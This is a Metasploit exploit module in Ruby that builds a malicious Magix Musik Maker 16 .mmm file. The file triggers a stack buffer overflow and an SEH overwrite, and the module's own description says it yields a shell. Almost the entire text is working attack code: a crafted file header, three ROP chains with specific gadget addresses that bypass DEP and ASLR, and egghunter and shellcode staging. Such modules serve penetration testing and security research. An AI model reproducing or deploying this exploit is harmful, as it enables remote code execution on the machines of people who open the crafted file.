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## # $Id: magix_musikmaker_16_mmm.rb 12688 2011-05-22 23:41:15Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Magix Musik Maker 16. When opening a specially crafted arrangement file (.mmm) in the application, an unsafe strcpy() will allow you to overwrite a SEH handler.This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.Egghunter is used, and might require up to several seconds to receive a shell. }, 'License'=> MSF_LICENSE, 'Author' => [ 'acidgen',#found the vulnerability 'corelanc0d3r'#rop exploit + msf module ], 'Version'=> '$Revision: 12688 $', 'References' => [ [ 'OSVDB', '72455'], [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 8000,#could be more, but this is enough 'DisableNops' =>'True', 'BadChars'=> "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Universal DEP & ASLR Bypass', { 'OffSet' => 198, 'Ret'=> 0x200146fa,#add esp,40c/ret [ltkrn14n.dll] } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 26 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'mmm file','msf.mmm']), ], self.class) end def junk return rand_text(4).unpack("L")[0].to_i end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") badchars = "" eggoptions = { :checksum=> false, :eggtag=> "Wo0t", :depmethod => "copy", :depreg=> "edi", :depdest => "ebp" } hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions) header = "RIFF" header << "\x8c" header << "A" header << "\x07\x00" header << "SEKDSVIP" header << "\x10\x07\x00\x00\x9b" header << "[n" header << "\x00" * 5 header << "\x11" header << "\x00" * 3 header << "\x08" header << "\x00" * 3 header << "D" header << "\xac\x00\x00\x11" header << "\x00" * 9 header << "9@" header << "\x00\x00\xf0" header << "B" header << "\x00" * 4 header << "\xbd\x04\xef\xfe\x00\x00\x01" header << "\x00" * 3 header << "\x10\x00\x04\x00\x02" header << "\x00" * 3 header << "\x10\x00\x04\x00\x02\x00" header << "?" header << "\x00" * 3 header << "(" header << "\x00" * 3 header << "\x04\x00\x04\x00\x01" header << "\x00" * 15 header << "K" header << "\x91" header << "2" header << "\x01\xd0\x02\x00\x00" header << "@" header << "\x02\x00\x00" header << "UUUUUU" header << "\xf5" header << "?" header << "\x10" header << "\x00" * 7 header << "\xff" * 8 header << "\x00" * 1680 header << "LISTx" header << "\x95\x02\x00" header << "physfile" header << "\xf8\x08\x00\x00" header << "C:\\Documents and Settings\\" header << rand_text(8) header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp" header << "\x00" * 52 header << "Fat Rocker I_ogg.HDP" header << "\x00" * 110 header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo" header << "\x00" * 175 header << "Fat Rocker I.OGG" header << "\x00" * 678 header << "\xf0\xbf" header << "\x00" * 22 header << "\xf0" header << "?" header << "\x00" * 6 header << "^@" header << "\x00" * 6 header << "^@" header << "\x00" * 264 filename = "C:\\temp\\" filename << "\xb3\x10\xf8\x1f" * 14# slide filename << "\x1e\x92\x01\x20" # align rop_chain1 = [ #API pointer 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] 0x1ff810b3,# rop nop 0x1ff810b3,# rop nop 0x1ff810b3,# rop nop 0x20047f30,# POP ECX # RETN** [LTKRN14N.dll] 0x2005012c,# &API ptr 0x200263e4,# MOV EAX,DWORD PTR DS:[ECX] # RETN** [LTKRN14N.dll] 0x1ffa3ab3,# MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C** [LTDIS14n.dll] junk, 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] junk, junk, junk, 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA63D, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll] D16059A3 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x20047f30,# POP ECX # RETN** [LTKRN14N.dll] 0x2001283a,# POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10** [LTKRN14N.dll] # write 0x1ff9cf5a,# MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08** [LTDIS14n.dll] junk, 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA5F9, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll] 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x2003e6cd,# MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10** [LTKRN14N.dll] junk, junk, 0x1ffa82ef,# POP EAX # RETN** [LTDIS14n.dll] junk, ].pack("V*") rop_chain2 = [ 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll] 0x1ff7c4e5,# XCHG EAX,EDI # RETN** [LTDIS14n.dll] 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA591, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll]D16059A3 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x2003e6cd,# MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # junk, junk, 0x1ffa82ef,# POP EAX # RETN** [LTDIS14n.dll] junk, junk, junk, junk, 0x2E9FB65D, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll] 0x1ff7c4e5,# XCHG EAX,EDI # RETN** [LTDIS14n.dll] 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA539, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN**D16059A3 [LTKRN14N.dll] 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x2003e6cd,# MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10 junk, junk, 0x2004e494,# ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] junk, junk, junk, junk, junk, 0x2004e494,# ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] junk, 0x1ffa0231,# DEC EAX # RETN** [LTDIS14n.dll] 0x1ff7c4e5,# XCHG EAX,EDI # RETN** [LTDIS14n.dll] 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA4D9, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETND16059A3 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x2003e6cd,# MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10** [LTKRN14N.dll] junk, junk, 0x2004e493,# PUSH ESP # ADD EAX,20 # POP EBX # RETN** [LTKRN14N.dll] junk, junk, junk, junk, 0x20035546,# MOV EAX,EBX # POP EBP # POP EBX # RETN** [LTKRN14N.dll] junk, junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2E9FA469, 0x2004cb15,# ADD EAX,74085539 # ADD EAX,5D58046A # RETN** [LTKRN14N.dll] 0x1ff93af7,# ADD EAX,ESI # POP ESI # RETN** [LTDIS14n.dll] junk, 0x1ff72ce1,# XCHG EAX,ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV EAX,1 # RETN junk, ].pack("V*") rop_chain3 = [ 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08 junk, junk, junk, junk, 0x1ffa82ef,# POP EAX # RETN junk, junk, 0x2004FF98, 0x1ffaccf6,# ADD EAX,100 # POP EBP # RETN junk, 0x20026406,# MOV EAX,DWORD PTR DS:[EAX] # NEG EAX # RETN** [LTKRN14N.dll] 0x20026408,# NEG EAX # RETN ** [LTKRN14N.dll] 0x1ff7c4e5,# XCHG EAX,EDI # RETN** [LTDIS14n.dll] 0x2004da79,# XOR EAX,EAX # RETN ** [LTKRN14N.dll] 0x1ff93ae1,# ADD EAX,ESI # POP ESI # RETN junk, 0x1ff95f45,# PUSH EAX # POP ESI # RETN 08** [LTDIS14n.dll] 0x1fffeb75,# XCHG EAX,EBP # RETN ** [LTKRN14N.dll] junk, junk, #Oh Irony ! 0x6001ac84,# PUSHAD # RETN** [ijl10.dll] ].pack("V*") rop_chain1_filler = rand_text(target['OffSet'] - rop_chain1.length - 2 ) # find a close heap prehunter = "\x33\xC0" #xor eax,eax prehunter << "\x64\x8B\x40\x30"#mov eax,fs[:30] prehunter << "\x83\xC0\x48"#add eax,48 prehunter << "\x83\xC0\x48"#add eax,48 prehunter << "\x8B\x10"#mov edx,[eax] prehunter << "\x83\xc2\x4c"#add edx,4c prehunter << "\x83\xc2\x4c"#add edx,4c prehunter << "\x8B\x12"#mov edx,[edx] nops = make_nops(100) filler = "\x5D\xC6\x9F\x2E"# offset to 0x2000 filler << "\xc2\x53\x02\x20" # RETN filler << "\x04\x80\xfa\x1f" # jump - first run : 0x1ffa8004 :{pivot 8}# POP EDI # POP EBP # RETN** [LTDIS14n.dll] filler << "\x12\x3a\xff\x1f" # p/p/p/p/add esp,90/ret [ltkrn14n.dll] - second run filler << "\xff\xff\xff\xff" # access violation buffer = header buffer << filename buffer << rop_chain1 buffer << rop_chain1_filler buffer << [target.ret].pack("V") buffer << filler buffer << rop_chain2 buffer << rop_chain3 buffer << prehunter buffer << hunter buffer << nops buffer << egg filecontent = header + buffer print_status("Writing payload to file") file_create(filecontent) end end |
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